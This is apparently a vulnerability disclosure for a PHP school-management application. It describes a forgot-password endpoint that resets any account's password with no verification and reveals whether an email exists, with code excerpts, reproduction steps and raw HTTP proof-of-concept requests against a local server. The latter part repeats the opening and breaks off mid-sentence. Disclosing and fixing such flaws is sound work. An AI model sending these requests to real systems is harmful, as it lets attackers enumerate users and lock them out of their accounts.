Account Enumeration and Arbitrary Password Reset in Forgot Password Functionality
Severity: Medium
Type: Business Logic Flaw / Account Enumeration
File(s):
application/controllers/Login.php (lines 144–195)
application/models/Email_model.php (lines 25–37)
Confirmed by local HTTP verification.
Description
The “Forgot Password” endpoint (ajax_forgot_password) accepts any email address via a POST request and immediately resets the associated account’s password to a new random string, with no additional verification such as CAPTCHA, security questions, email‑based reset tokens, or even the original password. The response also differs depending on whether the email exists, allowing an attacker to enumerate valid accounts.
The relevant logic in Login.php:
$email = $_POST["email"];
$new_password = substr( md5( rand(100000000,20000000000) ) , 0,7);
...
$this->db->update('teacher' , array('password' => $new_password));
$resp['status'] = 'true';
...
echo json_encode($resp);
No rate limiting, no CAPTCHA, and no user confirmation is implemented.
Steps to Reproduce
Send a POST request to the forgot password endpoint with an email that exists in the database (e.g., t_kasun@gmail.com).
Observe the JSON response: {"status":"true",...} and note that the account’s password has been changed in the database.
Send a POST request with an email that does not exist (e.g., no_such_user@example.com).
Observe the application returns an HTTP 500 Internal Server Error, revealing that the email was not found.
By comparing the responses, an attacker can enumerate all valid teacher (and potentially student/admin) emails and forcibly reset any valid account’s password at will.
Proof of Concept
Request (existing user):
POST /index.php?login/ajax_forgot_password HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/x-www-form-urlencoded
email=t_kasun@gmail.com
Response:
{"status":"true","submitted_data":{"email":"t_kasun@gmail.com"}}
Observed database change:
teacher_id=1 email=t_kasun@gmail.com password=4cae5bb (changed from original)
Request (non‑existing user):
POST /index.php?login/ajax_forgot_password HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/x-www-form-urlencoded
email=no_such_user@example.com
Response:
HTTP/1.1 500 Internal Server Error
Impact
Account enumeration – attackers can build a list of valid email addresses for further attacks (phishing, credential stuffing, etc.).
Denial of Service (DoS) – any valid user can have their password arbitrarily reset, locking them out of their account until they guess the new random password or go through a recovery process (which may not exist).
No user notification – the password is changed silently, so the legitimate user remains unaware until they try to log in.


Account Enumeration and Arbitrary Password Reset in Forgot Password Functionality
Severity: Medium
Type: Business Logic Flaw / Account Enumeration
File(s):
application/controllers/Login.php(lines 144–195)application/models/Email_model.php(lines 25–37)Confirmed by local HTTP verification.
Description
The “Forgot Password” endpoint (
ajax_forgot_password) accepts any email address via a POST request and immediately resets the associated account’s password to a new random string, with no additional verification such as CAPTCHA, security questions, email‑based reset tokens, or even the original password. The response also differs depending on whether the email exists, allowing an attacker to enumerate valid accounts.The relevant logic in
Login.php: